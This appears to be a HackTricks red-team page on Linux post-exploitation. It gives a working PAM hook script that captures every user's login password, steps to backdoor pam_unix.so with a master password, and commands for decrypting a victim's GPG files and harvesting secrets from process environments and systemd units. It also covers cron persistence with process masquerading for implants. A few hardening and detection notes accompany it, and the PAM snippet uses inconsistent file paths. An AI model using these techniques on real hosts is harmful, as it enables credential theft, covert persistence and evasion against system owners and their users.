Linux Post-Exploitation

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Sniffing Logon Passwords with PAM

Let’s configure a PAM module to log each password each user uses to login. If you don’t know what is PAM check:

PAM - Pluggable Authentication Modules

For further details check the original post. This is just a summary:

Technique Overview: Pluggable Authentication Modules (PAM) offer flexibility in managing authentication on Unix-based systems. They can enhance security by customizing login processes but also pose risks if misused. This summary outlines a technique to capture login credentials using PAM, alongside mitigation strategies.

Capturing Credentials:

  • A bash script named toomanysecrets.sh is crafted to log login attempts, capturing the date, username ($PAM_USER), password (via stdin), and remote host IP ($PAM_RHOST) to /var/log/toomanysecrets.log.
  • The script is made executable and integrated into the PAM configuration (common-auth) using the pam_exec.so module with options to run quietly and expose the authentication token to the script.
  • The approach demonstrates how a compromised Linux host can be exploited to log credentials discreetly.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

For further details check the original post. This is just a summary:

The Pluggable Authentication Module (PAM) is a system used under Linux for user authentication. It operates on three main concepts: username, password, and service. Configuration files for each service are located in the /etc/pam.d/ directory, where shared libraries handle authentication.

Objective: Modify PAM to allow authentication with a specific password, bypassing the actual user password. This is particularly focused on the pam_unix.so shared library used by the common-auth file, which is included by almost all services for password verification.

Steps for Modifying pam_unix.so:

  1. Locate the Authentication Directive in the common-auth file:
    • The line responsible for checking a user’s password calls pam_unix.so.
  2. Modify Source Code:
    • Add a conditional statement in the pam_unix_auth.c source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process.
  3. Recompile and Replace the modified pam_unix.so library in the appropriate directory.
  4. Testing:
    • Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected.

Tip

You can automate this process with https://github.com/zephrax/linux-pam-backdoor

Decrypting GPG loot via homedir relocation

If you find an encrypted .gpg file and a user’s ~/.gnupg folder (pubring, private-keys, trustdb) but you can’t decrypt due to GnuPG homedir permissions/locks, copy the keyring to a writable location and use it as your GPG home.

Typical errors you’ll see without this: “unsafe ownership on homedir”, “failed to create temporary file”, or “decryption failed: No secret key” (because GPG can’t read/write the original homedir).

Workflow:

# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

If the secret key material is present in private-keys-v1.d, GPG will unlock and decrypt without prompting for a passphrase (or it will prompt if the key is protected).

Harvesting credentials from process environment (containers included)

When you gain code execution inside a service, the process often inherits sensitive environment variables. These are a gold mine for lateral movement.

Quick wins

  • Dump your current process env: env or printenv
  • Dump another process env: tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p'
    • Add strings -z /proc/<PID>/environ if tr/sed aren’t handy
  • In containers, also check PID 1: tr '\0' '\n' </proc/1/environ

What to look for

  • App secrets and admin creds (for example, Grafana sets GF_SECURITY_ADMIN_USER, GF_SECURITY_ADMIN_PASSWORD)
  • API keys, DB URIs, SMTP creds, OAuth secrets
  • Proxy and TLS overrides: http_proxy, https_proxy, SSL_CERT_FILE, SSL_CERT_DIR

Notes

  • Many orchestrations pass sensitive settings via env; they are inherited by children and exposed to any arbitrary shell you spawn inside the process context.
  • In some cases, those creds are reused system-wide (e.g., same username/password valid for SSH on the host), enabling an easy pivot.

Systemd-stored credentials in unit files (Environment=)

Services launched by systemd may bake credentials into unit files as Environment= entries. Enumerate and extract them:

# Unit files and drop-ins
ls -la /etc/systemd/system /lib/systemd/system
# Grep common patterns
sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null | sed 's/\x00/\n/g'
# Example of a root-run web panel
# [Service]
# Environment="BASIC_AUTH_USER=root"
# Environment="BASIC_AUTH_PWD=<password>"
# ExecStart=/usr/bin/crontab-ui
# User=root

Operational artifacts often leak passwords (e.g., backup scripts that call zip -P <pwd>). Those values are frequently reused in internal web UIs (Basic-Auth) or other services.

Hardening

  • Move secrets to dedicated secret stores (systemd-ask-password, EnvironmentFile with locked perms, or external secret managers)
  • Avoid embedding creds in unit files; prefer root-only readable drop-in files and remove them from version control
  • Rotate leaked passwords discovered during tests

Cron-based persistence with loopback mutex

  • Copy implants into multiple writable paths (/tmp, /var/tmp, /dev/shm, /run/lock) and install cron entries such as */5 * * * * /tmp/<bin> so they respawn even if removed elsewhere.
  • Enforce single-instance execution by binding a fixed loopback port (for example, 127.0.0.1:51125 or 127.0.0.1:52225) and exiting if bind() fails; ss -lntp | grep -E '51125|52225' will reveal the mutex listener.
  • Operators may periodically mass-kill any process whose cmdline contains the dropper name (e.g., init_stop), so reusing those names during analysis can collide; pick unique filenames.

Process masquerading via prctl + argv overwrite

  • Set the short process name with prctl(PR_SET_NAME, "<label>") (15-byte comm limit), commonly to init, so /proc/<pid>/status and GUIs show a benign label.
  • Overwrite the in-memory argv[0] buffer after reading /proc/self/cmdline length and the argv[0] pointer, padding with NULs so /proc/<pid>/cmdline and ps also show the fake label.
  • Hunt by comparing Name: in /proc/<pid>/status against the real executable path and looking for loopback mutex listeners owned by processes with tiny/blank cmdlines.

References

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks